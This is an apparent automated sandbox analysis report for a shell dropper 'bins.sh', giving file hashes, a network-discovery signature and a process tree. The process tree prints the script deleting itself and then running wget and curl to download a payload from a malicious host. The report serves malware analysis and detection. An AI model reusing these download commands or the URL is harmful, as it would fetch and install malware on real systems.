Analysis
-
max time kernel
149s -
max time network
131s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
11/12/2024, 10:22
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
406a3ef5ca0b6741cfdb93766923811c
-
SHA1
75979edb2e57be5b492da50ba893a293884b0cd5
-
SHA256
0aaeab657bd005ba7caabd00e43d1f0504cc0705a29110166cc9ce7710f1586b
-
SHA512
3e57c0814fcb99dce5a1c6884654a6a987348721734070e55a0a273e23b20e770c517aa0ceeec53a8fb07f51b6499f49cefdf05a2e9bd28c174d7001e44b776d
-
SSDEEP
192:dO28yspdcnHXWnh9CnPOUsKh9CnPsAv0pdcnHX4:dOHyspdcnHmnh9CnPOUsKh9CnPsA8pd7
Malware Config
Signatures
-
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1485 wget 1486 curl
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1483
-
/bin/rm/bin/rm bins.sh2⤵PID:1484
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/Am78KFVuMY6uYi4vYVagqqEodvvfxLoen32⤵
- System Network Configuration Discovery
PID:1485
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/Am78KFVuMY6uYi4vYVagqqEodvvfxLoen32⤵
- System Network Configuration Discovery
PID:1486
-